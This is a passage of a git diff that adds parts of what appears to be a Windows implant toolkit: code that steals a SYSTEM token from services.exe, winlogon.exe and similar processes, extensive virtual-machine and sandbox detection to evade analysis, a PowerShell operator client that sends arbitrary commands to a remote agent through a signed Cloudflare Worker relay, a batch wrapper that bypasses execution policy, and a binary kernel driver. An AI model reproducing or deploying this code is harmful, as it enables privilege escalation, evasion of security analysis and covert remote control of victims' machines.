kTokenAccessForDuplicate, &hToken)) + { + hToken = nullptr; + + if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) + { + Log(L"[-] OpenProcessToken(%lu) failed: %lu", pid, GetLastError()); + CloseHandle(hProc); + return nullptr; + } + } + + CloseHandle(hProc); + return hToken; +} + +static HANDLE DuplicateTokenFromPid(DWORD pid) +{ + HANDLE hToken = OpenProcessTokenByPid(pid); + if (!hToken) + return nullptr; + + if (!TokenIsLocalSystem(hToken)) + { + CloseHandle(hToken); + return nullptr; + } + + HANDLE dup = DuplicateSystemTokenFromHandle(hToken); + CloseHandle(hToken); + + if (dup) + Log(L"[+] Obtained SYSTEM token from PID %lu", pid); + + return dup; +} + +static HANDLE TryDuplicateByNames(const wchar_t* const* names, size_t count) +{ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return nullptr; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (!Process32First(snap, &pe)) + { + CloseHandle(snap); + return nullptr; + } + + DWORD self = GetCurrentProcessId(); + + do + { + if (pe.th32ProcessID == self || pe.th32ProcessID <= 4) + continue; + + for (size_t i = 0; i < count; ++i) + { + if (_wcsicmp(pe.szExeFile, names[i]) == 0) + { + HANDLE tok = DuplicateTokenFromPid(pe.th32ProcessID); + if (tok) + { + CloseHandle(snap); + return tok; + } + } + } + + } while (Process32Next(snap, &pe)); + + CloseHandle(snap); + return nullptr; +} + +HANDLE GetSystemToken(HANDLE preferredToken) +{ + EnablePrivilege(SE_DEBUG_NAME); + + if (preferredToken) + { + HANDLE dup = DuplicateSystemTokenFromHandle(preferredToken); + if (dup) + { + Log(L"[+] Using SYSTEM token returned by driver"); + return dup; + } + } + + HANDLE hProcessToken = nullptr; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hProcessToken)) + { + if (TokenIsLocalSystem(hProcessToken)) + { + HANDLE dup = DuplicateSystemTokenFromHandle(hProcessToken); + CloseHandle(hProcessToken); + + if (dup) + { + Log(L"[+] Current process token is LocalSystem"); + return dup; + } + } + else + { + Log(L"[-] Current process token is not LocalSystem"); + } + + CloseHandle(hProcessToken); + } + + HANDLE hThreadToken = nullptr; + + if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE, TRUE, &hThreadToken)) + { + if (TokenIsLocalSystem(hThreadToken)) + { + HANDLE dup = DuplicateSystemTokenFromHandle(hThreadToken); + CloseHandle(hThreadToken); + + if (dup) + { + Log(L"[+] Thread token is LocalSystem"); + return dup; + } + } + else + { + Log(L"[-] Thread token is not LocalSystem"); + } + + CloseHandle(hThreadToken); + } + + static const wchar_t* preferred[] = + { + L"services.exe", + L"winlogon.exe", + L"svchost.exe", + L"spoolsv.exe", + L"csrss.exe" + }; + + HANDLE tok = TryDuplicateByNames(preferred, _countof(preferred)); + if (tok) + return tok; + + Log(L"[-] Failed to find SYSTEM token"); + return nullptr; +} diff --git a/TokenUtils.h b/TokenUtils.h new file mode 100644 index 0000000..09af2e8 --- /dev/null +++ b/TokenUtils.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +bool EnablePrivilege(const wchar_t* privilegeName); +bool TokenIsLocalSystem(HANDLE token); +bool IsCurrentProcessSystem(); +HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken); +HANDLE GetSystemToken(HANDLE preferredToken = nullptr); diff --git a/VmDetect.cpp b/VmDetect.cpp new file mode 100644 index 0000000..edab411 --- /dev/null +++ b/VmDetect.cpp @@ -0,0 +1,487 @@ +#include "Common.h" +#include "VmDetect.h" + +#include +#include +#include + +#pragma comment(lib, "iphlpapi.lib") + +static std::string ToLowerAscii(const std::string& in) +{ + std::string out = in; + + for (auto& c : out) + { + if (c >= 'A' && c <= 'Z') + c = (char)(c + 32); + } + + return out; +} + +static std::string NarrowAscii(const wchar_t* w) +{ + std::string out; + + if (!w) + return out; + + for (; *w; ++w) + { + if (*w < 128) + out.push_back((char)*w); + } + + return out; +} + +static bool ContainsAny(const std::string& haystackLower, std::initializer_list needles) +{ + for (const char* n : needles) + { + if (haystackLower.find(n) != std::string::npos) + return true; + } + + return false; +} + +// ---------------------------------------------------------------- CPUID + +struct CpuidResult +{ + bool hypervisorPresent = false; + std::string vendor; // raw 12-byte hypervisor vendor + std::string brand; +}; + +static CpuidResult QueryCpuid() +{ + CpuidResult r; + + int regs[4]{}; + __cpuid(regs, 0); + int maxLeaf = regs[0]; + + __cpuid(regs, 1); + r.hypervisorPresent = (regs[2] & (1 << 31)) != 0; + + if (maxLeaf >= 0x40000000) + { + int hv[4]{}; + __cpuid(hv, 0x40000000); + + char vendor[13]{}; + memcpy(vendor + 0, &hv[1], 4); + memcpy(vendor + 4, &hv[2], 4); + memcpy(vendor + 8, &hv[3], 4); + r.vendor = vendor; + + if (maxLeaf >= 0x40000001) + { + int b[4]{}; + __cpuid(b, 0x40000001); + + char brand[13]{}; + memcpy(brand + 0, &b[0], 4); + memcpy(brand + 4, &b[1], 4); + memcpy(brand + 8, &b[2], 4); + r.brand = brand; + } + } + + return r; +} + +// ---------------------------------------------------------------- SMBIOS + +static std::string ReadSmbiosStrings() +{ + std::string collected; + + DWORD size = GetSystemFirmwareTable('RSMB', 0, nullptr, 0); + + if (size < 8 || size > 1024 * 1024) + return collected; + + std::vector buf(size); + DWORD got = GetSystemFirmwareTable('RSMB', 0, buf.data(), size); + + if (got < 8) + return collected; + + const BYTE* data = buf.data(); + DWORD length = got; + + // Raw SMBIOS table: 8-byte header, then structure table. + DWORD tableLen = *(const DWORD*)(data + 4); + + if (tableLen == 0 || tableLen > length - 8) + tableLen = length - 8; + + const BYTE* p = data + 8; + const BYTE* end = data + 8 + tableLen; + + while (p + 4 <= end) + { + BYTE structLen = p[1]; + + if (structLen < 4 || p + structLen > end) + break; + + const BYTE* strings = p + structLen; + + // Strings: NUL-terminated ASCII, double NUL ends the list. + while (strings + 1 < end && !(strings[0] == 0 && strings[1] == 0)) + { + const char* s = (const char*)strings; + size_t len = strlen(s); + + collected += s; + collected += ' '; + + strings += len + 1; + } + + p = strings + 2; + } + + return collected; +} + +// ---------------------------------------------------------------- registry + +static bool RegKeyExists(HKEY root, const wchar_t* subKey) +{ + HKEY h = nullptr; + + if (RegOpenKeyExW(root, subKey, 0, KEY_READ, &h) != ERROR_SUCCESS) + return false; + + RegCloseKey(h); + return true; +} + +static std::string ReadDiskEnumValue() +{ + std::string out; + + HKEY h = nullptr; + + if (RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", + 0, + KEY_READ, + &h) != ERROR_SUCCESS) + { + return out; + } + + wchar_t buf[1024]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(h, L"0", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + (type == REG_SZ || type == REG_EXPAND_SZ)) + { + out = NarrowAscii(buf); + } + + RegCloseKey(h); + return out; +} + +// ---------------------------------------------------------------- network + +static bool HasVirtualMac() +{ + // Vendor OUIs that only appear on virtual adapters. + static const BYTE oui[][3] = + { + { 0x00, 0x0C, 0x29 }, // VMware + { 0x00, 0x50, 0x56 }, // VMware + { 0x00, 0x05, 0x69 }, // VMware + { 0x00, 0x1C, 0x14 }, // VMware + { 0x08, 0x00, 0x27 }, // VirtualBox + { 0x52, 0x54, 0x00 }, // QEMU / KVM + { 0x00, 0x16, 0x3E }, // Xen + { 0x00, 0x15, 0x5D }, // Hyper-V + { 0x00, 0x03, 0xFF }, // Microsoft virtual + { 0x00, 0x1C, 0x42 }, // Parallels + }; + + ULONG size = 16 * 1024; + std::vector buf(size); + + ULONG ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size); + + if (ret == ERROR_BUFFER_OVERFLOW) + { + buf.resize(size); + ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size); + } + + if (ret != ERROR_SUCCESS) + return false; + + for (PIP_ADAPTER_INFO a = (PIP_ADAPTER_INFO)buf.data(); a; a = a->Next) + { + for (const auto& prefix : oui) + { + if (a->AddressLength >= 3 && + a->Address[0] == prefix[0] && + a->Address[1] == prefix[1] && + a->Address[2] == prefix[2]) + { + return true; + } + } + } + + return false; +} + +// ---------------------------------------------------------------- artifacts + +static bool HasVmServices() +{ + static const wchar_t* services[] = + { + L"SYSTEM\\CurrentControlSet\\Services\\VBoxService", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxSF", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxWddm", + L"SYSTEM\\CurrentControlSet\\Services\\vmci", + L"SYSTEM\\CurrentControlSet\\Services\\vmhgfs", + L"SYSTEM\\CurrentControlSet\\Services\\VMTools", + L"SYSTEM\\CurrentControlSet\\Services\\vmrawdsk", + L"SYSTEM\\CurrentControlSet\\Services\\vmusbmouse", + L"SYSTEM\\CurrentControlSet\\Services\\vm3dservice", + L"SYSTEM\\CurrentControlSet\\Services\\vmmouse", + L"SYSTEM\\CurrentControlSet\\Services\\xenvdb", + L"SYSTEM\\CurrentControlSet\\Services\\xenbus", + }; + + for (const wchar_t* s : services) + { + if (RegKeyExists(HKEY_LOCAL_MACHINE, s)) + return true; + } + + return false; +} + +static bool HasVmDriversOnDisk() +{ + static const wchar_t* files[] = + { + L"C:\\Windows\\System32\\drivers\\VBoxGuest.sys", + L"C:\\Windows\\System32\\drivers\\VBoxMouse.sys", + L"C:\\Windows\\System32\\drivers\\VBoxSF.sys", + L"C:\\Windows\\System32\\drivers\\vmmouse.sys", + L"C:\\Windows\\System32\\drivers\\vmhgfs.sys", + L"C:\\Windows\\System32\\drivers\\vmrawdsk.sys", + L"C:\\Windows\\System32\\drivers\\vmusbmouse.sys", + L"C:\\Windows\\System32\\VBoxService.exe", + L"C:\\Windows\\System32\\VBoxTray.exe", + }; + + for (const wchar_t* f : files) + { + DWORD attr = GetFileAttributesW(f); + + if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) + return true; + } + + return false; +} + +static bool HasVmProcesses() +{ + static const wchar_t* names[] = + { + L"VBoxService.exe", + L"VBoxTray.exe", + L"vmtoolsd.exe", + L"vmwaretray.exe", + L"vmwareuser.exe", + L"VGAuthService.exe", + L"qemu-ga.exe", + L"xenservice.exe", + }; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return false; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool found = false; + + if (Process32First(snap, &pe)) + { + do + { + for (const wchar_t* n : names) + { + if (_wcsicmp(pe.szExeFile, n) == 0) + { + found = true; + break; + } + } + + if (found) + break; + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +// ---------------------------------------------------------------- public + +bool IsVirtualMachine(std::wstring* reason) +{ + auto setReason = [reason](const wchar_t* text) + { + if (reason) + *reason = text; + }; + + if (reason) + reason->clear(); + + CpuidResult cpu = QueryCpuid(); + + // A hypervisor bit alone is not proof: VBS / Credential Guard / Hyper-V + // on bare metal sets it too. Strong vendors are decisive. + if (cpu.hypervisorPresent) + { + const std::string vendor = cpu.vendor; + + if (vendor == "VMwareVMware") { setReason(L"cpuid: VMware"); return true; } + if (vendor == "VBoxVBoxVBox") { setReason(L"cpuid: VirtualBox"); return true; } + if (vendor == "KVMKVMKVM") { setReason(L"cpuid: KVM"); return true; } + if (vendor == "XenVMMXenVMM") { setReason(L"cpuid: Xen"); return true; } + if (vendor.rfind("TCGTCGTCG", 0) == 0) { setReason(L"cpuid: QEMU TCG"); return true; } + if (vendor == "bhyve bhyve") { setReason(L"cpuid: bhyve"); return true; } + if (vendor == "VServerVServer") { setReason(L"cpuid: Virtual Server"); return true; } + } + + const std::string smbios = ToLowerAscii(ReadSmbiosStrings()); + + if (ContainsAny(smbios, { "virtualbox", "vmware", "qemu", "kvm", "bochs", "parallels", "xen", "virtual machine", "hyper-v" })) + { + setReason(L"smbios: virtual vendor string"); + return true; + } + + if (cpu.hypervisorPresent && cpu.vendor == "Microsoft Hv") + { + // Hyper-V guest: confirmed by SMBIOS containing "virtual machine" + // (handled above) or by Hyper-V integration services. + if (RegKeyExists(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\vmicheartbeat")) + { + setReason(L"hyperv: integration services"); + return true; + } + + if (HasVirtualMac()) + { + setReason(L"hyperv: virtual MAC"); + return true; + } + } + + std::string diskEnum = ToLowerAscii(ReadDiskEnumValue()); + + if (ContainsAny(diskEnum, { "vbox", "vmware", "qemu", "xen", "virtio" })) + { + setReason(L"disk enum: virtual controller"); + return true; + } + + if (HasVmServices()) + { + setReason(L"registry: guest service installed"); + return true; + } + + if (HasVmDriversOnDisk()) + { + setReason(L"driver: guest driver present"); + return true; + } + + if (HasVmProcesses()) + { + setReason(L"process: guest helper running"); + return true; + } + + if (HasVirtualMac()) + { + setReason(L"network: virtual MAC OUI"); + return true; + } + + return false; +} + +#ifndef ARDRV_ALLOW_VM_DEFAULT +#define ARDRV_ALLOW_VM_DEFAULT 0 +#endif + +bool VmOverrideRequested(int argc, wchar_t** argv) +{ +#if ARDRV_ALLOW_VM_DEFAULT + // Built for lab/testing images that are themselves virtual machines. + (void)argc; + (void)argv; + return true; +#endif + + for (int i = 1; i < argc; ++i) + { + if (argv[i] && (_wcsicmp(argv[i], L"--allow-vm") == 0 || + _wcsicmp(argv[i], L"-allow-vm") == 0)) + { + return true; + } + } + + wchar_t env[64]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_ALLOW_VM", env, _countof(env)); + + if (n > 0 && n < _countof(env) && (env[0] == L'1' || env[0] == L'y' || env[0] == L'Y')) + return true; + + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS) + { + DWORD value = 0; + DWORD size = sizeof(value); + DWORD type = 0; + + bool enabled = + RegQueryValueExW(h, L"AllowVm", nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD && + value != 0; + + RegCloseKey(h); + + if (enabled) + return true; + } + + return false; +} diff --git a/VmDetect.h b/VmDetect.h new file mode 100644 index 0000000..46e9713 --- /dev/null +++ b/VmDetect.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +#include + +// Returns true when the machine looks like a virtual machine or hypervisor +// guest. When 'reason' is provided it receives a short human-readable cause. +bool IsVirtualMachine(std::wstring* reason = nullptr); + +// --allow-vm on the command line, ARDRV_ALLOW_VM=1, or AllowVm=1 under +// HKLM\SOFTWARE\ArDrvLoader. Any of them disables the VM block. +bool VmOverrideRequested(int argc, wchar_t** argv); diff --git a/agent-cli.ps1 b/agent-cli.ps1 new file mode 100644 index 0000000..1bd5f77 --- /dev/null +++ b/agent-cli.ps1 @@ -0,0 +1,107 @@ +# Small helper for driving the agent: enqueues one command and waits for the ACK. +# +# powershell -File agent-cli.ps1 -Command "STATUS" +# powershell -File agent-cli.ps1 -Status +# powershell -File agent-cli.ps1 -Command "PS Get-Process | Select -First 3" +# +# Uses the same HMAC scheme the agent does, so it works against the mock worker +# and the real Cloudflare Worker alike. + +param( + [string]$Worker = "http://127.0.0.1:8788", + [string]$Agent = "testagent", + [string]$Secret = "testsecret", + [string]$Command = "", + [switch]$Status, + [int]$TimeoutSec = 30 +) + +$ErrorActionPreference = "Stop" + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream } + else { $stream = New-Object System.IO.MemoryStream(, $Bytes) } + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + return ([BitConverter]::ToString($hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Invoke-Worker([string]$Path, [string]$Method = "GET", [byte[]]$Body) +{ + if ($null -eq $Body) { $Body = [byte[]]@() } + + $ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $canonical = "$Agent`n$ts`n$Method`n$($Path.TrimStart('/'))`n$(Get-Sha256Hex $Body)" + $headers = @{ + "X-Agent-Id" = $Agent + "X-Agent-Ts" = $ts + "X-Agent-Sign" = (Get-HmacHex $Secret $canonical) + } + + if ($Method -eq "POST") + { + return Invoke-WebRequest -Method Post -Uri "$Worker$Path" -Body ([byte[]]$Body) ` + -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing + } + + return Invoke-WebRequest -Uri "$Worker$Path" -Headers $headers -UseBasicParsing +} + +function Decode-Last([string]$Value) +{ + if (-not $Value) { return "" } + + try { return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) } + catch { return $Value } +} + +if ($Status) +{ + $s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json + "agent=$($s.agent) queued=$($s.queued) pending=$([bool]$s.pending)" + if ($s.last) { Decode-Last $s.last } + exit 0 +} + +if (-not $Command) +{ + throw "Usage: agent-cli.ps1 -Command '' | -Status" +} + +$before = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json +$initialLast = $before.last + +$null = Invoke-Worker -Path "/enqueue" -Method POST -Body ([System.Text.Encoding]::UTF8.GetBytes($Command)) + +$deadline = (Get-Date).AddSeconds($TimeoutSec) +$seenPending = $false + +while ((Get-Date) -lt $deadline) +{ + Start-Sleep -Milliseconds 400 + + $s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json + + if ($s.pending) { $seenPending = $true; continue } + + if ($s.last -and $s.last -ne $initialLast) { Decode-Last $s.last; exit 0 } + if ($seenPending -and $s.last) { Decode-Last $s.last; exit 0 } +} + +Write-Host "" +exit 1 diff --git a/agent.cmd b/agent.cmd new file mode 100644 index 0000000..f58229b --- /dev/null +++ b/agent.cmd @@ -0,0 +1,32 @@ +@echo off +rem Wrapper so the helper runs regardless of the machine execution policy. +rem +rem agent.cmd STATUS +rem agent.cmd "PS Get-Date" +rem agent.cmd -Status +rem agent.cmd -Command "HOST_LIST" + +setlocal + +if "%~1"=="" goto usage + +set "FIRST=%~1" +if "%FIRST:~0,1%"=="-" goto asflag + +powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" -Command %* +goto end + +:asflag +powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" %* +goto end + +:usage +echo Usage: +echo agent.cmd STATUS +echo agent.cmd "PS Get-Date" +echo agent.cmd -Status +echo agent.cmd -Command "HOST_LIST" +exit /b 1 + +:end +exit /b %ERRORLEVEL% diff --git a/ardrv.sys b/ardrv.sys new file mode 100644 index 0000000000000000000000000000000000000000..9dbb374a8716e012ad79fdd1325c53fed62aca15 GIT binary patch literal 17744 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 